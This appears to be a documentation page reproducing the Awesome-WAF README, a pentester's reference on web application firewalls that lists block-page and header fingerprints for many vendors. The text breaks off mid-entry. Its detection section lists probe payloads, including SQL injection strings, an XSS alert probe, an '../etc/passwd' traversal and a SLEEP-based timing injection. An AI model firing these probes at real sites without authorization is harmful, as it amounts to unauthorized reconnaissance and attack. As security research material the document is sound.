Awesome-WAF Documentation

Technical Documentation: 0xInfection/Awesome-WAF

ℹ️ Provenance: Multi-Tier Ingestion · CodeWiki Reference

Overview (`README.md`)

Awesome WAF [](https://github.com/0xinfection/awesome-waf)

Everything about web application firewalls (WAFs) from a security perspective. 🔥

Foreword: This was originally my own collection on WAFs. I am open-sourcing it in the hope that it will be useful for pentesters and researchers out there.As the saying goes, "the community just learns from each other."

A Concise Definition: A firewall is a security policy enforcement point positioned between a web application and the client endpoint. This functionality can be implemented in software or hardware, running in an appliance device, or in a typical server running a common operating system. It may be a stand-alone device or integrated into other network components. (Source: PCI DSS IS 6.6)

A web-application firewall sits between a user and a webapp and is tasked to prevent any malicious activity from reaching the webapp. A WAF either filters out the malicious part of the request or just simply blocks it.

Feel free to contribute.

Introduction:

How WAFs Work:

Using a set of rules to distinguish between normal requests and malicious requests.
Sometimes they use a learning mode to add rules automatically through learning about user behaviour.

Operation Modes:

Negative Model (Blacklist based) - A blacklisting model uses pre-set signatures to block requests that are clearly malicious. The signatures of WAFs operating in a negative model are specifically crafted to prevent attacks which exploit certain web application vulnerabilities. Blacklisting model web application firewalls are a great choice for web applications exposed to the public internet and are highly effective against major vulnerabilities. Eg. Rule for blocking all <script>*</script> inputs prevent basic cross-site scripting attacks.
Positive Model (Whitelist based) - A whitelisting model only allows web traffic according to specifically configured criteria. For example, it can be configured to only allow HTTP GET requests from certain IP addresses. This model can be very effective for blocking potential large scale attacks, but will also block a lot of legitimate traffic. Whitelisting model firewalls are probably best for web applications on an internal network that are designed to be used by only a limited group of people, such as employees.
Mixed/Hybrid Model (Inclusive model) - A hybrid security model blends both whitelisting and blacklisting. Depending on all sorts of configuration specifics, hybrid firewalls could be the best choice for both web applications on internal networks and web applications on the public internet. A good scenario can be when web-application is facing the public internet (use blacklists) while the admin panel needs to be exposed to only a subset of users (use whitelists).

Testing Methodology:

Where To Look:

Always look out for common ports that expose that a WAF, namely 80, 443, 8000, 8080 and 8888 ports. However, its important to note that a WAF can be easily deployed on any port running a HTTP service. It is good to enumerate HTTP service ports first hand and then look for WAFs.
Some WAFs set their own cookies in requests (e.g. Citrix Netscaler, Yunsuo WAF).
Some associate themselves with separate headers (e.g. Anquanbao WAF, Amazon AWS WAF).
Some often alter headers and jumble characters to confuse attacker (e.g. Netscaler, Big-IP).
Some expose themselves in the Server header (e.g. Approach, WTS WAF).
Some WAFs expose themselves in the response content (e.g. DotDefender, Armor, Sitelock).
Other WAFs reply with unusual response codes upon malicious requests (e.g. WebKnight, 360 WAF).

Detection Techniques:

To identify WAFs, we need to (dummy) provoke it.

Make a normal GET request from a browser, intercept and record response headers (specifically cookies).
Make a request from command line (eg. cURL), and test response content and headers (no user-agent included).
Make GET requests to random open ports and grab banners which might expose the WAFs identity.
On login pages, inject common (easily detectable) payloads like " or 1 = 1 --.
Inject noisy payloads like <script>alert()</script> into search bars, contact forms and other input fields.
Attach a dummy ../../../etc/passwd to a random parameter at end of URL.
Append some catchy keywords like ' OR SLEEP(5) OR ' at end of URLs to any random parameter.
Make GET requests with outdated protocols like HTTP/0.9 (HTTP/0.9 does not support POST type queries).
Many a times, the WAF varies the Server header upon different types of interactions.
Drop Action Technique - Send a raw crafted FIN/RST packet to server and identify response.

Tip: This method could be easily achieved with tools like HPing3 or Scapy.
Side Channel Attacks - Examine the timing behaviour of the request and response content.

Tip: More details can be found in a blogpost here.

WAF Fingerprints

Wanna fingerprint WAFs? Lets see how.

NOTE: This section contains manual WAF detection techniques. You might want to switch over to next section.

WAF	Fingerprints
360	Detectability: Easy

text

**Detection Methodology:**
            
                Returns status code `493` upon unusual requests.
                Blockpage may contain reference to `wzws-waf-cgi/` directory.
                Blocked response page source may contain:
                
                    Reference to `wangshan.360.cn` URL.
                    `Sorry! Your access has been intercepted because your links may threaten website security.` text snippet.
                
                Response headers may contain `X-Powered-By-360WZB` header.
                Blocked response headers contain unique header `WZWS-Ray`.
                `Server` header may contain value `qianxin-waf`. |

| aeSecure | **Detectability: **Moderate
Detection Methodology:

text

Blocked response content contains `aesecure_denied.png` image (view source to see).
                Response headers contain `aeSecure-code` value. |

| Airlock | **Detectability: **Moderate/Difficult
Detection Methodology:

text

`Set-Cookie` headers may contain:
                
                    `AL-SESS` cookie field name (case insensitive).
                    `AL-LB` value (case insensitive).
                
                Blocked response page contains:
                
                    `Server detected a syntax error in your request` text.
                    `Check your request and all parameters` text snippet. |

| AlertLogic | Detectability: Difficult
Detection Methodology:

text

Blocked response page contains:
                
                    `We are sorry, but the page you are looking for cannot be found` text snippet.
                    `The page has either been removed, renamed or temporarily unavailable` text.
                    `404 Not Found` in red letters. |

| Aliyundun | Detectability: Easy
Detection Methodology:

text

Blocked response page contains:
                
                    `Sorry, your request has been blocked as it may cause potential threats to the server's security` text snippet.
                    Reference to `errors.aliyun.com` site URL.
                
                Blocked response code returned is `405`. |

| Anquanbao | **Detectability: **Easy
Detection Methodology:

text

Returns blocked HTTP response code `405` upon malicious requests.
                Blocked response content may contain `/aqb_cc/error/` or `hidden_intercept_time`.
                Response headers contain `X-Powered-by-Anquanbao` header field. |

| Anyu | **Detectability: **Easy
Detection Methodology:

text

Blocked response content contains `Sorry! your access has been intercepted by AnYu`
                Blocked response page contains `AnYu- the green channel` text.
                Response headers may contain unusual header `WZWS-RAY`. |

| Approach | **Detectability: **Easy
Detection Methodology:

text

Blocked response page content may contain:
                    
                        `Approach Web Application Firewall Framework` heading.
                        `Your IP address has been logged and this information could be used by authorities to track you.` warning.
                        `Sorry for the inconvenience!` keyword.
                        `Approach infrastructure team` text snippet.
                    
                `Server` header has field value set to `Approach`. |

| Armor Defense | **Detectability: **Easy
Detection Methodology:

text

Blocked response content contains:
                    
                        `This request has been blocked by website protection from Armor` text.
                        `If you manage this domain please create an Armor support ticket` snippet. |

| ArvanCloud | **Detectability: **Easy
Detection Methodology:

text

`Server` header contains `ArvanCloud` keyword. |

| ASPA | **Detectability: **Easy
Detection Methodology:

text

`Server` header contains `ASPA-WAF` keyword.
                Response contain unique header `ASPA-Cache-Status` with content `HIT` or `MISS`. |

| ASP.NET Generic | **Detectability: **Moderate
Detection Methodology:

text

Response headers may contain `X-ASPNET-Version` header value.
                Blocked response page content may contain:
                    
                        `This generic 403 error means that the authenticated user is not authorized to use the requested resource`.
                        `Error Code 0x00000000
                    
                `X-Powered-By` header has field value set to `ASP.NET`. |

| Astra | **Detectability: **Easy
Detection Methodology:

text

Blocked response page content may contain:
                    
                        `Sorry, this is not allowed.` in `h1`.
                        `our website protection system has detected an issue with your IP address and wont let you proceed any further` text snippet.
                        Reference to `www.getastra.com/assets/images/` URL.
                    
                Response cookies has field value `cz_astra_csrf_cookie` in response headers. |

| AWS ELB | **Detectability: **Moderate
Detection Methodology:

text

Response headers might contain:
                    
                        `AWSALB` cookie field value.
                        `X-AMZ-ID` header.
                        `X-AMZ-REQUEST-ID` header.
                    
                
                Response page may contain:
                    
                        `Access Denied` in their keyword.
                        Request token ID with length from 20 to 25 between `RequestId` tag.
                    
                
                `Server` header field contains `awselb/2.0` value. |

| Baidu Yunjiasu | **Detectability: **Moderate
Detection Methodology:

text

`Server` header may contain `Yunjiasu-nginx` value.
                `Server` header may contain `Yunjiasu` value. |

| Barikode | **Detectability: **Easy
Detection Methodology:

text

Blocked response page content contains:
                    
                        `BARIKODE` keyword.
                        `Forbidden Access` text snippet in `h1`. |

| Barracuda | **Detectability: **Moderate
Detection Methodology:

text

Response cookies may contain `barra_counter_session` value.
                Response headers may contain `barracuda_` keyword.
            
            Response page contains:
            
                `You have been blocked` heading.
                `You are unable to access this website` text. |

| Bekchy | **Detectability: **Easy
Detection Methodology:

text

Blocked response headers contains `Bekchy - Access Denied`.
                Blocked response page contains reference to `https://bekchy.com/report`. |

| BinarySec | **Detectability: **Moderate
Detection Methodology:

text

Response headers contain:
                
                    `X-BinarySec-Via` field.
                    `X-BinarySec-NoCache` field.
                    `Server` header contains `BinarySec` keyword. |

| BitNinja | **Detectability: **Easy
Detection Methodology:

text

Blocked response page may contain:
                
                    `Security check by BitNinja` text snippet.
                    `your IP will be removed from BitNinja`.
                    `Visitor anti-robot validation` text snippet.
                    `(You will be challenged by a reCAPTCHA page)` text. |

| BIG-IP ASM | **Detectability: **Moderate
Detection Methodology:

text

Response headers may contain `BigIP` or `F5` keyword value.
                Response header fields may contain `X-WA-Info` header.
                Response headers might have jumbled `X-Cnection` field value. |

| BlockDos | **Detectability: **Moderate
Detection Methodology:

text

`Server` header contains value `BlockDos.net`. |

| Bluedon IST | **Detectability: **Easy
Detection Methodology:

text

`Server` header contains `BDWAF` field value.
                Blocked response page contains to `Bluedon Web Application Firewall` text snippet.. |

| BulletProof Security Pro | **Detectability: **Moderate
Detection Methodology:

text

Blocked response page contains:
                
                    `div` with id as `bpsMessage` text snippet.
                    `If you arrived here due to a search or clicking on a link click your Browser's back button to return to the previous page.` text snippet. |

| CDN NS Application Gateway | **Detectability: **Easy
Detection Methodology:

text

Blocked response page contains `CdnNsWAF Application Gateway` text snippet. |

| Cerber (WordPress) | **Detectability: **Difficult
Detection Methodology:

text

Blocked response page contains:
                
                    `We're sorry, you are not allowed to proceed` text snippet.
                    `Your request looks suspicious or similar to automated requests from spam posting software` warning. |

| Chaitin Safeline | **Detectability: **Difficult
Detection Methodology:

text

Blocked response page contains `event_id` keyword within HTML comments. |

| ChinaCache | **Detectability: **Easy
Detection Methodology:

text

Response headers contain `Powered-by-ChinaCache` field. |

| Cisco ACE XML Gateway | **Detectability: **Moderate
Detection Methodology:

text

`Server` header has value `ACE XML Gateway` set. |

| Cloudbric | **Detectability: **Moderate
Detection Methodology:

text

Response content contains:
                
                    `Malicious Code Detected` heading.
                    `Your request was blocked by Cloudbric` text snippet.
                    Reference to `https://cloudbric.zendesk.com` URL.
                    `Cloudbric Help Center` text.
                    Page title starting with `Cloudbric   ERROR!`. |

| Cloudflare | **Detectability: **Easy
Detection Methodology:

text

Response headers might have `cf-ray` field value.
                `Server` header field has value `cloudflare`.
                `Set-Cookie` response headers have `__cfuid=` cookie field.
                Page content might have `Attention Required!` or `Cloudflare Ray ID:`.
                Page content may contain `DDoS protection by Cloudflare`as text.
                You may encounter `CLOUDFLARE_ERROR_500S_BOX` upon hitting invalid URLs. |

| CloudfloorDNS | **Detectability: **Easy
Detection Methodology:

text

`Server` header field has value `CloudfloorDNS WAF`.
                Block-page title might have `CloudfloorDNS - Web Application Firewall Error`.
                Page content may contain `www.cloudfloordns.com/contact` URL as a contact link. |

| Cloudfront | **Detectability: **Easy
Detection Methodology:

text

Blocked response content contains `Generated by cloudfront (CloudFront)` error upon malicious request. |

| Comodo cWatch | **Detectability: **Easy
Detection Methodology:

text

`Server` header contains `Protected by COMODO WAF` value. |

| CrawlProtect | **Detectability: **Easy
Detection Methodology:

text

Response cookies might contain `crawlprotect` cookie name.
                Block Page title has `CrawlProtect` keyword in it.
                Blocked response content contains value `This site is protected by CrawlProtect !!!` upon malicious request. |

| Deny-All | **Detectability: **Difficult
Detection Methodology:

text

Response content contains value `Condition Intercepted`.
                `Set-Cookie` header contains cookie field `sessioncookie`. |

| Distil Web Protection | **Detectability: **Easy
Detection Methodology:

text

Response headers contain field value `X-Distil-CS` in all requests.
                Blocked response page contains:
                
                    `Pardon Our Interruption...` heading.
                    `You have disabled javascript in your browser.` text snippet.
                    `Something about your browser made us think that you are a bot.` text. |

| DoSArrest Internet Security | **Detectability: **Easy
Detection Methodology:

text

Response headers contain field value `X-DIS-Request-ID`.
                `Server` header contains `DOSarrest` keyword. |

| DotDefender | **Detectability: **Easy
Detection Methodology:

text

Blocked response content contains value `dotDefender Blocked Your Request`.
                Blocked response headers contain `X-dotDefender-denied` field value. |

| DynamicWeb Injection Check | **Detectability: **Easy
Detection Methodology:

text

Blocked response headers contain `X-403-Status-By` field with value `dw-inj-check` value. |

| e3Learning Security | **Detectability: **Easy
Detection Methodology:

text

`Server` header contains `e3Learning_WAF` keyword. |

| EdgeCast (Verizon) | **Detectability: **Easy
Detection Methodology:

text

Blocked response content contains value `Please contact the site administrator, and provide the following Reference ID:EdgeCast Web Application Firewall (Verizon)`.
                Blocked response code returns `400 Bad Request` on malicious requests. |

| Eisoo Cloud | **Detectability: **Easy
Detection Methodology:

text

Blocked response page content may contain:
                    
                        `/eisoo-firewall-block.css` reference.
                        `www.eisoo.com` URL.
                        `&copy; (year) Eisoo Inc.` keyword.
                    
                `Server` header has field value set to `EisooWAF-AZURE/EisooWAF`. |

| Expression Engine | **Detectability: **Difficult
Detection Methodology:

text

Blocked response page returns `Invalid URI` generally.
                Blocked response content contains value `Invalid GET Request` upon malicious GET queries.
                Blocked POST type queries contain `Invalid Data` in response content. |

| F5 ASM | **Detectability: **Difficult
Detection Methodology:

text

Blocked response content contains warning
                    `The requested URL was rejected. Please consult with your administrator.` |

| FortiWeb | **Detectability: **Moderate
Detection Methodology:

text

Response headers contain `FORTIWAFSID=` on malicious requests.
                Blocked response page contains:
                
                    Reference to `.fgd_icon` image icon.
                    `Server Unavailable!` as heading.
                    `Server unavailable. Please visit later.` as text. |

| GoDaddy | **Detectability: **Easy
Detection Methodology:

text

Blocked response page contains value `Access Denied - GoDaddy Website Firewall`. |

| GreyWizard | **Detectability: **Easy
Detection Methodology:

text

Blocked response page contains:
                    
                        `Grey Wizard` as title.
                        `Contact the website owner or Grey Wizard` text snippet.
                        `We've detected attempted attack or non standard traffic from your IP address` text snippet.
                    
                
                `Server` header contain `greywizard` keyword. |

| Huawei Cloud | **Detectability: **Easy
Detection Methodology:

text

Blocked response page contains:
                
                    Reference to `account.hwclouds.com/static/error/images/404img.jpg` error image.
                    Reference to `www.hwclouds.com` URL.
                    Reference to `hws_security@{site.tld}` e-mail for reporting. |

| HyperGuard | **Detectability: **Difficult
Detection Methodology:

text

`Set-Cookie` header has cookie field `ODSESSION=` in response headers. |

| IBM DataPower | **Detectability: **Difficult
Detection Methodology:

text

Response headers contains field value value `X-Backside-Transport` with value `OK` or `FAIL`. |

| Imperva Incapsula | **Detectability: **Easy
Detection Methodology:

text

Blocked response page content may contain:
                    
                        `Powered By Incapsula` text snippet.
                        `Incapsula incident ID` keyword.
                        `_Incapsula_Resource` keyword.
                        `subject=WAF Block Page` keyword.
                    
                Normal GET request headers contain `visid_incap` value.
                Response headers may contain `X-Iinfo` header field name.
                `Set-Cookie` header has cookie field `incap_ses` and `visid_incap`. |

| Imunify360 | **Detectability: **Easy
Detection Methodology:

text

`Server` header contain `imunify360-webshield` keyword.
                Response page contains:
                
                    `Powered by Imunify360` text snippet.
                    `imunify360 preloader` if response type is JSON.
                
                Blocked response page contains `protected by Imunify360` text. |

| IndusGuard | **Detectability: **Moderate
Detection Methodology:

text

`Server` header contains value `IF_WAF`.
                Blocked response content contains warning`further investigation and remediation with a screenshot of this page.`
                Response headers contain a unique header `X-Version`. |

| Instart DX | **Detectability: **Easy
Detection Methodology:

text

Response headers contain `X-Instart-Request-ID` unique header.
                Response headers contain `X-Instart-WL` unique header fingerprint.
                Response headers contain `X-Instart-Cache` unique header fingerprint.
                Blocked response page contains `The requested URL was rejected. Please consult with your administrator.` text. |

| ISA Server | **Detectability: **Difficult
Detection Methodology:

text

Response page contains:
                
                    `The ISA Server denied the specified Uniform Resource Locator (URL)` text snippet.
                    `The server denied the specified Uniform Resource Locator (URL). Contact the server administrator.` text snippet |

| Janusec Application Gateway | **Detectability: **Easy
Detection Methodology:

text

Blocked response page has image displaying `JANUSEC` name and logo.
                Blocked response page displays `Janusec Application Gateway` on malicious requests. |

| Jiasule | **Detectability: **Easy
Detection Methodology:

text

Blocked response page contains reference to `static.jiasule.com/static/js/http_error.js` URL.
                `Set-Cookie` header has cookie field `__jsluid=` or `jsl_tracking`in response headers.
                `Server` header has `jiasule-WAF` keywords.
                Blocked response content has `notice-jiasule` keyword. |

| KeyCDN | **Detectability: **Easy
Detection Methodology:

text

`Server` header contains `KeyCDN` keyword. |

| KnownSec | **Detectability: **Easy
Detection Methodology:

text

Blocked response page displays `ks-waf-error.png` image (view source to see). |

| KONA Site Defender (Akamai) | **Detectability: **Easy
Detection Methodology:

text

`Server` header contains `AkamaiGHost` keyword. |

| LiteSpeed | **Detectability: **Easy
Detection Methodology:

text

`Server` header has value set to `LiteSpeed`.
                `Response page contains:`
                
                    `Proudly powered by LiteSpeed Web Server` text.
                    Reference to `http://www.litespeedtech.com/error-page`
                    `Access to resource on this server is denied.` |

| Malcare | **Detectability: **Moderate
Detection Methodology:

text

Blocked response page may contains:
                    
                        `Blocked because of Malicious Activities` text snippet.
                        `Firewall powered by MalCare` text snippet. |

| MissionControl Application Shield | **Detectability: **Easy
Detection Methodology:

text

`Server` header field contains `Mission Control Application Shield` value. |

| ModSecurity | **Detectability: **Moderate/Difficult
Detection Methodology:

text

Blocked response page contains:
                    
                        `This error was generated by Mod_Security` text snippet.
                        `One or more things in your request were suspicious` text snippet.
                        `rules of the mod_security module` text snippet.
                        `mod_security rules triggered` text snippet.
                        Reference to `/modsecurity-errorpage/` directory.
                    
                `Server` header may contain `Mod_Security` or `NYOB` keywords.
                Sometimes, the response code to an attack is `403` while the response phrase is `ModSecurity Action`. |

| ModSecurity CRS | **Detectability: **Difficult
Detection Methodology:

text

Blockpage occurs on adding a separate request header `X-Scanner` when set to a particular paranoa level. |

| NAXSI | **Detectability: **Easy
Detection Methodology:

text

Blocked response page contains `This Request Has Been Blocked By NAXSI`.
                Response headers contain unusual field `X-Data-Origin` with value `naxsi/waf` keyword.
                `Server` header contains `naxsi/waf` keyword value.
                Blocked response page may contain `NAXSI blocked information` error code. |

| Nemesida | **Detectability: **Difficult
Detection Methodology:

text

Blocked response page contains `Suspicious activity detected. Access to the site is blocked.`.
                Contains reference to email `nwaf@{site.tld}` |

| Netcontinuum | **Detectability: **Moderate
Detection Methodology:

text

Session cookies contain `NCI__SessionId=` cookie field name. |

| NetScaler AppFirewall | **Detectability: **Moderate
Detection Methodology:

text

Response headers may contain
                
                    `Connection:` header field name jumbled to `nnCoection:`
                    `ns_af=` cookie field name.
                    `citrix_ns_id` field name.
                    `NSC_` keyword.
                    `NS-CACHE` field value. |

| NevisProxy | **Detectability: **Moderate
Detection Methodology:

text

Response header cookies contain `Navajo` keyword. |

| NewDefend | **Detectability: **Easy
Detection Methodology:

text

Response page contains:
                
                    Reference to `http://www.newdefend.com/feedback/misinformation/` URL.
                    Reference to `/nd_block/` directory.
                
                `Server` header contains `NewDefend` keyword. |

| Nexusguard | **Detectability: **Easy
Detection Methodology:

text

Blocked response page has reference to `speresources.nexusguard.com/wafpage/index.html` URL. |

| NinjaFirewall | **Detectability: **Moderate
Detection Methodology:

text

Response page title contains `NinjaFirewall: 403 Forbidden`.
                Response page contains:
                    
                        `For security reasons, it was blocked and logged` text snippet.
                        `NinjaFirewall` keyword in title.
                    
                
                Returns a `403 Forbidden` response upon malicious requests. |

| NSFocus | **Detectability: **Easy
Detection Methodology:

text

`Server` header contain `NSFocus` keyword. |

| NullDDoS | **Detectability: **Easy
Detection Methodology:

text

`Server` header contains the `NullDDoS System` keyword. |

| onMessage Shield | **Detectability: **Easy
Detection Methodology:

text

Response headers contain header `X-Engine` field with value `onMessage Shield`.
                Blocked response page contains:
                
                    `Blackbaud K-12 conducts routine maintenance` keyword.
                    `This site is protected by an enhanced security system`.
                    Reference to `https://status.blackbaud.com` URL.
                    Reference to `https://maintenance.blackbaud.com` URL. |

| OpenResty Lua WAF | **Detectability: **Easy
Detection Methodology:

text

`Server` header contains `openresty/{version}` keyword.
                Blocked response page contains `openresty/{version}` text.
                Blocked response code returned is `406 Not Acceptable`. |

| Palo Alto | **Detectability: **Moderate
Detection Methodology:

text

Blocked response page contains `Virus/Spyware Download Blocked`.
                Response page might contain `Palo Alto Next Generation Security Platform` text snippet. |

| PentaWAF | **Detectability: **Easy
Detection Methodology:

text

`Server` header contains `PentaWAF/{version}` keyword.
                Blocked response page contains text `PentaWAF/{version}`. |

| PerimeterX | **Detectability: **Easy
Detection Methodology:

text

Blocked response page contains reference to `https://www.perimeterx.com/whywasiblocked` URL. |

| pkSecurityModule IDS | **Detectability: **Moderate
Detection Methodology:

text

Response content may contain
                
                    `pkSecurityModule: Security.Alert`.
                    `A safety critical request was discovered and blocked` text snippet. |

| Positive Technologies Application Firewall | **Detectability: **Difficult
Detection Methodology:

text

Blocked response page contains `Forbidden` in `h1` followed by:
                `Request ID:` in format `yyyy-mm-dd-hh-mm-ss-{ref. code}` |

| PowerCDN | **Detectability: **Moderate
Detection Methodology:

text

Response headers may contain
                
                    `Via` header with content `powercdn.com`.
                    `X-Cache` header with content `powercdn.com`.
                    `X-CDN` header with content `PowerCDN`. |

| Profense | **Detectability: **Easy
Detection Methodology:

text

`Set-Cookie` headers contain `PLBSID=` cookie field name.
                `Server` header contain `Profense` keyword. |

| Proventia (IBM) | **Detectability: **Difficult
Detection Methodology:

text

Blocked response page might contain to `request does not match Proventia rules` text snippet. |

| Puhui | **Detectability: **Easy
Detection Methodology:

text

`Server` header contain `PuhuiWAF` keyword. |

| Qiniu CDN | **Detectability: **Easy
Detection Methodology:

text

Response content may contain
                
                    Response headers contain unusual header `X-Qiniu-CDN` with value set to either `0` or `1`. |

| Radware Appwall | **Detectability: **Moderate
Detection Methodology:

text

Response page contains the following text snippet: `Unauthorized Activity Has Been Detected.` and `Case Number`
                Blocked response page has reference to `radwarealerting@{site.tld}` email.
                Blocked response page has title set to `Unauthorized Request Blocked`.
                Response headers may contain `X-SL-CompState` header field name. |

| Reblaze | **Detectability: **Moderate
Detection Methodology:

text

Cookies in response headers contain `rbzid=` header field name.
                `Server` field value might contain `Reblaze Secure Web Gateway` text snippet.
                Response page contains:
                
                    `Access Denied (403)` in bold.
                    `Current session has been terminated` text.
                    `For further information, do not hesitate to contact us`. |

| Request Validation Mode | **Detectability: **Easy
Detection Methodology:

text

A firewall found specifically on ASP.NET websites and none others.
                Response page contains either of the following text snippet:
                
                    `ASP.NET has detected data in the request that is potentially dangerous.`
                    `Request Validation has detected a potentially dangerous client input value.`
                    `HttpRequestValidationException.`
                
                Blocked response code returned is always `500 Internal Error`. |

| RSFirewall | **Detectability: **Easy
Detection Methodology:

text

Response page contains:
                
                    `COM_RSFIREWALL_403_FORBIDDEN` keyword.
                    `COM_RSFIREWALL_EVENT` keyword. |

| Sabre | **Detectability: **Easy
Detection Methodology:

text

Returns status code `500 Internal Error` upon malicious requests.
                Response content has:
                    
                        Contact email `[email protected]`.
                        `Your request has been blocked` bold warning.
                        `clicking the above email link will automatically add some important details to the email for us to investigate the problem` text snippet. |

| Safe3 | **Detectability: **Easy
Detection Methodology:

text

Response headers contain:
                
                    `X-Powered-By` header has field value `Safe3WAF`.
                    `Server` header contains field value set to `Safe3 Web Firewall`.
                
                Response page contains `Safe3waf` keyword. |

| SafeDog | **Detectability: **Easy/Moderate
Detection Methodology:

text

`Server` header in response may contain:
                
                    `WAF/2.0` keyword.
                    `safedog` field value. |

| SecKing | **Detectability: **Easy/Moderate
Detection Methodology:

text

`Server` header in response may contain:
                
                    `SECKINGWAF` keyword.
                    `SECKING/{version}` field value. |

| SecuPress | **Detectability: **Easy
Detection Methodology:

text

Response content may contain:
                
                    `SecuPress` as text.
                    `Block ID: Bad URL Contents` as text.
                
                Response code returned is `503 Service Unavailable`. |

| Secure Entry | **Detectability: **Easy
Detection Methodology:

text

`Server` header contains value set to `Secure Entry Server`. |

| SecureIIS | **Detectability: **Easy
Detection Methodology:

text

Response page contains either of the following text snippet:
                
                    Image displaying `beyondtrust` logo.
                    `Download SecureIIS Personal Edition`
                    Reference to `http://www.eeye.com/SecureIIS/` URL.
                    `SecureIIS Error` text snippet. |

| SecureSphere | **Detectability: **Difficult
Detection Methodology:

text

Response page contains the following text snippet:
                
                    Error in `h2` text.
                    Title contains only text as `Error`.
                    `Contact support for additional information.` text. |

| SEnginx | **Detectability: **Easy
Detection Methodology:

text

Blocked response page contains `SENGINX-ROBOT-MITIGATION` keyword. |

| ServerDefender VP | **Detectability: **Easy
Detection Methodology:

text

Blocked response contains `X-Pint` header field with `p80` keyword. |

| Shadow Daemon | **Detectability: **Difficult
Detection Methodology:

text

Blocked response page contains `request forbidden by administrative rules.` keyword. |

| ShieldSecurity | **Detectability: **Difficult
Detection Methodology:

text

Blocked response page contains: 
                
                    `You were blocked by the Shield.` text.
                    `Something in the URL, Form or Cookie data wasn't appropriate` text snippet.
                    `Warning: You have {number} remaining transgression(s) against this site`.
                    `Seriously stop repeating what you are doing or you will be locked out`. |

| SiteGround | **Detectability: **Difficult
Detection Methodology:

text

Blocked response page contains `The page you are trying to access is restricted due to a security rule` text snippet. |

| SiteGuard (JP Secure) | **Detectability: **Difficult
Detection Methodology:

text

Response page contains:
                
                    `Powered by SiteGuard` text snippet.
                    `The server refuse to browse the page.` text snippet.
                    `The URL may not be correct. Please confirm the value.` |

| SiteLock TrueShield | **Detectability: **Easy
Detection Methodology:

text

Blocked response page source contains the following:
                
                    Reference to `www.sitelock.com` URL.
                    `Sitelock is leader in Business Website Security Services.` text.
                    `sitelock-site-verification` keyword.
                    `sitelock_shield_logo` image. |

| SonicWall | **Detectability: **Easy
Detection Methodology:

text

`Server` header contain `SonicWALL` keyword value.
                Blocked response page contains either of the following text snippet:
                
                    Image displaying `Dell` logo.
                    `This request is blocked by the SonicWALL.`
                    `Web Site Blocked` text snippet.
                    `nsa_banner` as keyword. :p |

| Sophos UTM | **Detectability: **Easy
Detection Methodology:

text

Blocked response page contains `Powered by UTM Web Protection` keyword. |

| SquareSpace | **Detectability: **Difficult
Detection Methodology:

text

Response code returned is `404 Not Found` upon malicious requests.
                Blocked response page contains either of the following text snippet:
                
                    `BRICK-50` keyword.
                    `404 Not Found` text snippet. |

| SquidProxy IDS | **Detectability: **Easy
Detection Methodology:

text

`Server` header contains field value `squid/{version}`.
                Blocked response page contains `Access control configuration prevents your request from being allowed at this time.`. |

| StackPath | **Detectability: **Easy
Detection Methodology:

text

Contains image displaying `StackPath` logo.
                Blocked response page contains `You performed an action that triggered the service and blocked your request`. |

| Stingray | **Detectability: **Difficult
Detection Methodology:

text

Blocked response code returns `403 Forbidden` or `500 Internal Error`.
                Response headers contain the `X-Mapping` header field name. |

| Sucuri CloudProxy | **Detectability: **Easy
Detection Methodology:

text

Response headers may contain `Sucuri` or `Cloudproxy` keywords.
                Blocked response page contains the following text snippet:
                
                    `Access Denied - Sucuri Website Firewall` text.
                    Reference to `https://sucuri.net/privacy-policy` URL.
                    Sometimes the email `[email protected]`.
                    Contains copyright notice `;copy {year} Sucuri Inc`.
                
                Response headers contains `X-Sucuri-ID` header along with normal requests. |

| Synology Cloud | **Detectability: **Easy
Detection Methodology:

text

Blocked response page has `Copyright (c) 2019 Synology Inc. All rights reserved.`as text. |

| Tencent Cloud | **Detectability: **Moderate
Detection Methodology:

text

Blocked response code returns `405 Method Not Allowed` error.
                Blocked response page contains reference to `waf.tencent-cloud.com` URL. |

| Teros | **Detectability: **Difficult
Detection Methodology:

text

Response headers contain cookie field `st8id`. |

| TrafficShield | **Detectability: **Moderate
Detection Methodology:

text

`Server` might contain `F5-TrafficShield` keyword.
                `ASINFO=` value might be detected in response cookies. |

| TransIP | **Detectability: **Easy
Detection Methodology:

text

Response headers contain unique header `X-TransIP-Backend`.
                Response headers contain another header `X-TransIP-Balancer`. |

| UCloud UEWaf | **Detectability: **Easy
Detection Methodology:

text

Response content might contain:
                
                    Reference to `/uewaf_deny_pages/default/img/` inurl directory.
                    `ucloud.cn` URL.
                 
                Response headers returned has `Server` header set to `uewaf/{version}`. |

| URLMaster SecurityCheck | **Detectability: **Moderate
Detection Methodology:

text

Response headers might contain:
                
                    `UrlMaster` keyword.
                    `UrlRewriteModule` keyword.
                    `SecurityCheck` keyword.
                 
                Blocked response code returned is `400 Bad Request` text snippet. |

| URLScan | **Detectability: **Moderate
Detection Methodology:

text

Blocked response page contains:
                
                    `Rejected-by-URLScan` text snippet.
                    `Server Erro in Application` as heading.
                    `Module: IIS Web Core` in table. |

| USP Secure Entry | **Detectability: **Moderate
Detection Methodology:

text

Response headers contain `Secure Entry Server` field value. |

| Varnish (OWASP) | **Detectability: **Easy
Detection Methodology:

text

Malicious request returns `404 Not Found` Error.
                Response page contains:
                
                    `Request rejected by xVarnish-WAF` text snippet. |

| Varnish CacheWall | **Detectability: **Easy
Detection Methodology:

text

Response page contains:
                
                    `Error 403 Naughty, not Nice!` as heading.
                    `Varnish cache Server` as text. |

| Viettel | **Detectability: **Easy
Detection Methodology:

text

Response page contains:
                
                    Block page has title set to `Access denied · Viettel WAF`.
                    Reference to `https://cloudrity.com.vn/` URL.
                    Response page contains keywords `Viettel WAF system`.
                    Contact information reference to `https://cloudrity.com.vn/customer/#/contact` URL. |

| VirusDie | **Detectability: **Easy
Detection Methodology:

text

Response page contains:
                
                    `http://cdn.virusdie.ru/splash/firewallstop.png` picture.
                    `copy; Virusdie.ru` copyright notice.
                    Response page title contains `Virusdie` keyword.
                    Page metadata contains `name="FW_BLOCK"` keyword |

| WallArm | **Detectability: **Moderate
Detection Methodology:

text

`Server` headers contain `nginx-wallarm` value. |

| WatchGuard IPS | **Detectability: **Easy
Detection Methodology:

text

`Server` headers may contain `WatchGuard` field value.
                Blocked response page contains: 
                
                    `Request denied by WatchGuard Firewall` text.
                    `WatchGuard Technologies Inc.` as footer. |

| WebARX Security | **Detectability: **Easy
Detection Methodology:

text

Restricted to specifically WordPress sites only.
                Blocked response page contains: 
                
                    `This request has been blocked by WebARX Web Application Firewall` text.
                    Reference to `/wp-content/plugins/webarx/` directory where it is installed. |

| WebKnight | **Detectability: **Easy
Detection Methodology:

text

Response headers contain `WebKnight` keyword.
                Blocked response page contains:
                
